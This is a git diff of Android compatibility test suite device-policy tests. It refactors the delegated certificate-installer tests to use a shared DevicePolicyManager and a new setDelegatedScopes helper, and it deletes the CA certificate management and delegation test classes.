-        if (isDeviceOwnerTest) {
-            mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                    BasicAdminReceiver.class);
-            Log.d(mTag, "mDevicePolicyManager after DPMWrapper call: " + mDevicePolicyManager);
-        } else {
-            mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-        }
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class, mIsDeviceOwnerTest);
 
         Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
                 + mDevicePolicyManager);
@@ -163,7 +163,7 @@
         Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
                 + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
                 + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
-                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
 
         assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
                 .isTrue();
@@ -217,6 +217,12 @@
         return mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
     }
 
+    protected void setDelegatedScopes(String delegatePackage, List<String> scopes) {
+        Log.v(TAG, "Calling setDelegatedScopes(" + ADMIN_RECEIVER_COMPONENT.flattenToShortString()
+                + ", " + delegatePackage + ", " + scopes + ") using " + mDevicePolicyManager);
+        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, delegatePackage, scopes);
+    }
+
     void sleep(int timeMs) {
         Log.d(TAG, "Sleeping " + timeMs + " ms");
         SystemClock.sleep(timeMs);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
deleted file mode 100644
index 7097050..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ /dev/null
@@ -1,205 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
-import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.net.http.X509TrustManagerExtensions;
-
-import java.io.ByteArrayInputStream;
-import java.security.GeneralSecurityException;
-import java.security.KeyStore;
-import java.security.cert.Certificate;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.TrustManagerFactory;
-import javax.net.ssl.X509TrustManager;
-
-public class CaCertManagementTest extends BaseDeviceAdminTest {
-    private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
-
-    /**
-     * Test: device admins should be able to list all installed certs.
-     *
-     * <p>The list of certificates must never be {@code null}.
-     */
-    public void testCanRetrieveListOfInstalledCaCerts() {
-        List<byte[]> caCerts = mDevicePolicyManager.getInstalledCaCerts(mAdmin);
-        assertNotNull(caCerts);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        uninstallAllUserCaCerts();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        uninstallAllUserCaCerts();
-        super.tearDown();
-    }
-
-    /**
-     * Test: a valid cert should be installable and also removable.
-     */
-    public void testCanInstallAndUninstallACaCert() throws GeneralSecurityException {
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        uninstallCaCert(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    /**
-     * Test: removing one certificate must not remove any others.
-     */
-    public void testUninstallationIsSelective() throws GeneralSecurityException {
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
-        uninstallCaCert(FAKE_DSA_1.caCertificate);
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        uninstallCaCert(FAKE_RSA_1.caCertificate);
-    }
-
-    /**
-     * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
-     * supplementary installed certificate.
-     */
-    public void testCanUninstallAllUserCaCerts() throws GeneralSecurityException {
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
-        uninstallAllUserCaCerts();
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    private void assertInstalled(byte[] caBytes) throws GeneralSecurityException {
-        assertTrue(isCaCertInstalledAndTrusted(caBytes));
-    }
-
-    private void assertUninstalled(byte[] caBytes) throws GeneralSecurityException {
-        assertFalse(isCaCertInstalledAndTrusted(caBytes));
-    }
-
-    private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
-        for (TrustManager trustManager : tmf.getTrustManagers()) {
-             if (trustManager instanceof X509TrustManager) {
-                 return (X509TrustManager) trustManager;
-             }
-        }
-        throw new RuntimeException("Unable to find X509TrustManager");
-    }
-
-    /**
-     * Whether a given cert, or one a lot like it, has been installed system-wide and is available
-     * to all apps.
-     *
-     * <p>A CA certificate is "installed" if it matches all of the following conditions:
-     * <ul>
-     *   <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
-     *   <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
-     *       necessarily exactly the same) in its response.</li>
-     *   <li>Any new instances of {@link TrustManager} should report the certificate among their
-     *       accepted issuer list -- older instances may keep the set of issuers they were created
-     *       with until explicitly refreshed.</li>
-     *
-     * @return {@code true} if installed by all metrics, {@code false} if not installed by any
-     *         metric. In any other case an {@link AssertionError} will be thrown.
-     */
-    private boolean isCaCertInstalledAndTrusted(byte[] caBytes) throws GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
-
-        boolean listed = false;
-        for (byte[] certBuffer : mDevicePolicyManager.getInstalledCaCerts(mAdmin)) {
-            if (caCert.equals(readCertificate(certBuffer))) {
-                listed = true;
-            }
-        }
-
-        // Verify that the user added CA is reflected in the default X509TrustManager.
-        final TrustManagerFactory tmf =
-                TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-        // Use platform provided CA store.
-        tmf.init((KeyStore) null);
-        X509TrustManager tm = getFirstX509TrustManager(tmf);
-        boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-
-        // Maximal time to wait until the certificate is found to be in the accepted
-        // issuers list before declaring test failure.
-        final int maxWaitForCertificateTrustedSec = 15;
-
-        // All three responses should match - if an installed certificate isn't trusted or (worse)
-        // a trusted certificate isn't even installed we should fail now, loudly.
-        assertEquals(installed, listed);
-        int numTries = 0;
-        while (numTries < (maxWaitForCertificateTrustedSec * 20) && (installed != trusted)) {
-            try {
-                Thread.sleep(100);
-                trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-                numTries++;
-            } catch (InterruptedException e) {
-                break;
-            }
-        }
-        assertEquals(installed, trusted);
-
-        X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
-        boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
-        assertEquals(installed, userAddedCertificate);
-        return installed;
-    }
-
-    /**
-     * Convert an encoded certificate back into a {@link Certificate}.
-     *
-     * Instantiates a fresh CertificateFactory every time for repeatability.
-     */
-    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
-        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
-        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
-    }
-
-    private boolean installCaCert(byte[] caCertificate) {
-        return mDevicePolicyManager.installCaCert(mAdmin, caCertificate);
-    }
-
-    private void uninstallCaCert(byte[] caCertificate) {
-        mDevicePolicyManager.uninstallCaCert(mAdmin, caCertificate);
-    }
-
-    private void uninstallAllUserCaCerts() {
-        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
index 1da723e..7bb7f26 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
@@ -19,7 +19,6 @@
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
 
-import android.app.admin.DevicePolicyManager;
 import android.keystore.cts.KeyGenerationUtils;
 
 import java.util.Arrays;
@@ -38,48 +37,36 @@
     // MUST match the alias in PreSelectedKeyAccessTest
     private static final String PRE_SELECTED_ALIAS = "pre-selected-rsa";
 
-    private DevicePolicyManager mDpm;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mDpm = mContext.getSystemService(DevicePolicyManager.class);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-    }
-
     public void testManualSetCertInstallerDelegate() {
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
-                CERT_INSTALL_SCOPES);
-        assertTrue(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        setDelegatedScopes(CERT_INSTALLER_PACKAGE, CERT_INSTALL_SCOPES);
+        assertTrue(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL).contains(CERT_INSTALLER_PACKAGE));
-        assertTrue(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        assertTrue(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_SELECTION).contains(CERT_INSTALLER_PACKAGE));
     }
 
     public void testManualClearCertInstallerDelegate() {
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE, Arrays.asList());
-        assertFalse(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        setDelegatedScopes(CERT_INSTALLER_PACKAGE, Arrays.asList());
+        assertFalse(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL).contains(CERT_INSTALLER_PACKAGE));
-        assertFalse(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        assertFalse(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_SELECTION).contains(CERT_INSTALLER_PACKAGE));
     }
 
     public void testManualGenerateKeyAndGrantAccess() {
-        KeyGenerationUtils.generateRsaKey(mDpm, ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS);
-        assertTrue(mDpm.grantKeyPairToApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
-                    CERT_INSTALLER_PACKAGE));
+        KeyGenerationUtils.generateRsaKey(mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                PRE_SELECTED_ALIAS);
+        assertTrue(mDevicePolicyManager.grantKeyPairToApp(ADMIN_RECEIVER_COMPONENT,
+                PRE_SELECTED_ALIAS, CERT_INSTALLER_PACKAGE));
     }
 
     public void testManualRemoveKeyGrant() {
-        assertTrue(mDpm.revokeKeyPairFromApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
-                CERT_INSTALLER_PACKAGE));
+        assertTrue(mDevicePolicyManager.revokeKeyPairFromApp(ADMIN_RECEIVER_COMPONENT,
+                PRE_SELECTED_ALIAS, CERT_INSTALLER_PACKAGE));
     }
 
     public void testManualClearGeneratedKey() {
-        assertTrue(mDpm.removeKeyPair(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS));
+        assertTrue(mDevicePolicyManager
+                .removeKeyPair(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index e2ec220..6f03064 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -77,7 +77,6 @@
 
     private static final List<String> CERT_INSTALL_SCOPES = Arrays.asList(DELEGATION_CERT_INSTALL);
 
-    private DevicePolicyManager mDpm;
     private volatile boolean mReceivedResult;
     private volatile Exception mReceivedException;
     private Semaphore mAvailableResultSemaphore;
@@ -99,7 +98,7 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mDpm = (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+
         mAvailableResultSemaphore = new Semaphore(0);
         mReceivedResult = false;
         mReceivedException = null;
@@ -111,10 +110,11 @@
     @Override
     public void tearDown() throws Exception {
         mContext.unregisterReceiver(receiver);
-        mDpm.uninstallCaCert(ADMIN_RECEIVER_COMPONENT, TestCertificates.TEST_CA.getBytes());
+        mDevicePolicyManager.uninstallCaCert(ADMIN_RECEIVER_COMPONENT,
+                TestCertificates.TEST_CA.getBytes());
         // Installed private key pair will be removed once the lockscreen password is cleared,
         // which is done in the hostside test.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
         super.tearDown();
     }
 
@@ -125,9 +125,10 @@
                 .generateCertificate(new ByteArrayInputStream(cert));
 
 
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE);
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT,
+                CERT_INSTALLER_PACKAGE);
         assertEquals(CERT_INSTALLER_PACKAGE,
-                mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
+                mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
 
         // Exercise installCaCert()
         KeyStore keyStore = KeyStore.getInstance("AndroidCAStore");
@@ -135,7 +136,7 @@
         assertNull(keyStore.getCertificateAlias(caCert));
         installCaCert(cert);
         assertResult("installCaCert", true);
-        assertTrue("Certificate is not installed properly", mDpm.hasCaCertInstalled(
+        assertTrue("Certificate is not installed properly", mDevicePolicyManager.hasCaCertInstalled(
                 ADMIN_RECEIVER_COMPONENT, cert));
 
         // Exercise getInstalledCaCerts()
@@ -150,7 +151,7 @@
         // Exercise uninstallCaCert()
         removeCaCert(cert);
         assertResult("uninstallCaCert()", true);
-        assertFalse("Certificate is not removed properly", mDpm.hasCaCertInstalled(
+        assertFalse("Certificate is not removed properly", mDevicePolicyManager.hasCaCertInstalled(
                 ADMIN_RECEIVER_COMPONENT, cert));
 
         // Verify that the CA cert is no longer reported as installed by the Device Owner / Profile
@@ -159,7 +160,7 @@
 
         // Clear delegated cert installer.
         // Tests after this are expected to fail.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
 
         installCaCert(cert);
         assertResult("installCaCert", false);
@@ -169,16 +170,17 @@
         final String alias = "delegated-cert-installer-test-key";
 
         // Clear delegated cert installer.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
         // The app is not the cert installer , it shouldn't have have privilege to call
         // installKeyPair().
         installKeyPair(TestCertificates.TEST_KEY, TestCertificates.TEST_CERT, alias);
         assertResult("installKeyPair", false);
 
         // Set the app to be cert installer.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE);
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT,
+                CERT_INSTALLER_PACKAGE);
         assertEquals(CERT_INSTALLER_PACKAGE,
-                mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
+                mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT));
 
         // Exercise installKeyPair()
         installKeyPair(TestCertificates.TEST_KEY, TestCertificates.TEST_CERT, alias);
@@ -192,7 +194,7 @@
     public void testSetNotExistCertInstallerPackage() throws Exception {
         boolean shouldThrowException = getTargetApiLevel() >= Build.VERSION_CODES.N;
         try {
-            mDpm.setCertInstallerPackage(
+            mDevicePolicyManager.setCertInstallerPackage(
                     ADMIN_RECEIVER_COMPONENT, NOT_EXIST_CERT_INSTALLER_PACKAGE);
             if (shouldThrowException) {
                 fail("Did not throw IllegalArgumentException");
@@ -207,53 +209,53 @@
         if (!shouldThrowException) {
             assertTrue("Cert install delegate was not set on uninstalled package",
                     NOT_EXIST_CERT_INSTALLER_PACKAGE.equals(
-                            mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)));
+                            mDevicePolicyManager
+                                    .getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)));
         }
     }
 
     public void testSettingDelegatedCertInstallerAPICompatibility_oldSetNewGet() {
         // Set a delegated cert installer using the deprecated API and verify that the same
         // package is considered as the delegated cert installer using the new API.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE);
-        assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isEqualTo(
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT,
                 CERT_INSTALLER_PACKAGE);
-        assertThat(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        assertThat(mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT))
+                .isEqualTo(CERT_INSTALLER_PACKAGE);
+        assertThat(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL)).containsExactly(CERT_INSTALLER_PACKAGE);
 
         // Remove a delegate using the old API, make sure no delegates are found using
         // the new API.
-        mDpm.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
-        assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
-        assertThat(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        mDevicePolicyManager.setCertInstallerPackage(ADMIN_RECEIVER_COMPONENT, null);
+        assertThat(mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
+        assertThat(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL)).isEmpty();
     }
 
     public void testSettingDelegatedCertInstallerAPICompatibility_newSetOldGet() {
         // Set a delegate using the new API, verify that the deprecated API returns the same
         // delegate.
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
-                CERT_INSTALL_SCOPES);
-        assertThat(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        setDelegatedScopes(CERT_INSTALLER_PACKAGE, CERT_INSTALL_SCOPES);
+        assertThat(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL)).containsExactly(CERT_INSTALLER_PACKAGE);
-        assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isEqualTo(
-                CERT_INSTALLER_PACKAGE);
+        assertThat(mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT))
+                .isEqualTo(CERT_INSTALLER_PACKAGE);
 
         // Remove the delegate using the new API, verify that the deprecated API returns null
         // as the current delegated cert installer.
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE, Arrays.asList());
-        assertThat(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
+        setDelegatedScopes(CERT_INSTALLER_PACKAGE, Arrays.asList());
+        assertThat(mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL)).isEmpty();
-        assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
+        assertThat(mDevicePolicyManager.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
     }
 
     public void testCanReadEnrollmentSpecificId() throws InterruptedException {
         // Set the organization ID only if not already set, to avoid potential conflict
         // with other tests.
-        if (mDpm.getEnrollmentSpecificId().isEmpty()) {
-            mDpm.setOrganizationId("SOME_ID");
+        if (mDevicePolicyManager.getEnrollmentSpecificId().isEmpty()) {
+            mDevicePolicyManager.setOrganizationId("SOME_ID");
         }
-        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
-                CERT_INSTALL_SCOPES);
+        setDelegatedScopes(CERT_INSTALLER_PACKAGE, CERT_INSTALL_SCOPES);
 
         readEnrollmentId();
         assertResult("testCanReadEnrollmentSpecificId", true);
@@ -288,7 +290,7 @@
 
     private void verifyOwnerInstalledStatus(String alias, boolean expectOwnerInstalled) {
         final List<String> ownerInstalledCerts =
-                mDpm.getOwnerInstalledCaCerts(Process.myUserHandle());
+                mDevicePolicyManager.getOwnerInstalledCaCerts(Process.myUserHandle());
         assertNotNull(ownerInstalledCerts);
         assertEquals(expectOwnerInstalled, ownerInstalledCerts.contains(alias));
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
deleted file mode 100644
index 9d0b76b..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
+++ /dev/null
@@ -1,314 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
-import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
-import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
-import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
-import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertThrows;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Process;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-
-/**
- * Test that an app granted delegation scopes via {@link DevicePolicyManager#setDelegatedScopes} is
- * notified of its new scopes by a broadcast.
- */
-public class DelegationTest extends BaseDeviceAdminTest {
-    private static final String TAG = "DelegationTest";
-
-    private static final String DELEGATE_PKG = "com.android.cts.delegate";
-    private static final String DELEGATE_ACTIVITY_NAME =
-            DELEGATE_PKG + ".DelegatedScopesReceiverActivity";
-    private static final String DELEGATE_SERVICE_NAME =
-            DELEGATE_PKG + ".DelegatedScopesReceiverService";
-    private static final String TEST_PKG = "com.android.cts.apprestrictions.targetapp";
-
-    // Broadcasts received from the delegate app.
-    private static final String ACTION_REPORT_SCOPES = "com.android.cts.delegate.report_scopes";
-    private static final String ACTION_RUNNING = "com.android.cts.delegate.running";
-
-    // Semaphores to synchronize communication with delegate app.
-    private volatile String[] mReceivedScopes;
-    private Semaphore mReceivedScopeReportSemaphore;
-    private Semaphore mReceivedRunningSemaphore;
-
-    // Receiver for incoming broadcasts from the delegate app.
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.v(TAG, "onReceive(): " + intent.getAction() + " on user " + Process.myUserHandle());
-            if (ACTION_REPORT_SCOPES.equals(intent.getAction())) {
-                synchronized (DelegationTest.this) {
-                    mReceivedScopes = intent.getStringArrayExtra(EXTRA_DELEGATION_SCOPES);
-                    mReceivedScopeReportSemaphore.release();
-                }
-            } else if (ACTION_RUNNING.equals(intent.getAction())) {
-                synchronized (DelegationTest.this) {
-                    mReceivedRunningSemaphore.release();
-                }
-            }
-        }
-    };
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mReceivedScopeReportSemaphore = new Semaphore(0);
-        mReceivedRunningSemaphore = new Semaphore(0);
-        mReceivedScopes = null;
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_REPORT_SCOPES);
-        filter.addAction(ACTION_RUNNING);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                TEST_PKG, Collections.emptyList());
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT,
-                DELEGATE_PKG, Collections.emptyList());
-        super.tearDown();
-    }
-
-    public void testDelegateReceivesScopeChangedBroadcast() throws InterruptedException {
-        if (UserManager.isHeadlessSystemUserMode()) {
-            // TODO(b/190627898): this test launched an activity to receive the broadcast from DPM,
-            // but headless system user cannot launch activity. To make things worse, the intent
-            // is only sent to registered receivers, so we cannot use the existing receivers from
-            // DpmWrapper, we would need to start a service on user 0 to receive the broadcast,
-            // which would require a lot of changes:
-            // - calling APIs / Shell commands to allow an app in the bg to start a service
-            // - add a "launchIntent()" method on DpmWrapper so the intent is launched by user 0
-            //
-            // It might not be worth to make these changes, but rather wait for the test refactoring
-            Log.i(TAG, "Skipping testDelegateReceivesScopeChangedBroadcast() on headless system "
-                    + "user mode");
-            return;
-        }
-
-        // Prepare the scopes to be delegated.
-        final List<String> scopes = Arrays.asList(
-                DELEGATION_CERT_INSTALL,
-                DELEGATION_APP_RESTRICTIONS,
-                DELEGATION_BLOCK_UNINSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-
-        // Start delegate so it can receive the scopes changed broadcast from DevicePolicyManager.
-        startAndWaitDelegateActivity();
-
-        // Set the delegated scopes.
-        mDevicePolicyManager.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG, scopes);
-
-        // Wait until the delegate reports its new scopes.
-        String reportedScopes[] = waitReportedScopes();
-
-        // Check that the reported scopes correspond to scopes we delegated.
-        assertNotNull("Received null scopes from delegate", reportedScopes);
-        MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match broadcasted scopes",
-                scopes, reportedScopes);
-    }
-
-    public void testCantDelegateToUninstalledPackage() {
-        // Prepare the package name and scopes to be delegated.
-        final String NON_EXISTENT_PKG = "com.android.nonexistent.delegate";
-        final List<String> scopes = Arrays.asList(
-                DELEGATION_CERT_INSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-        try {
-            // Trying to delegate to non existent package should throw.
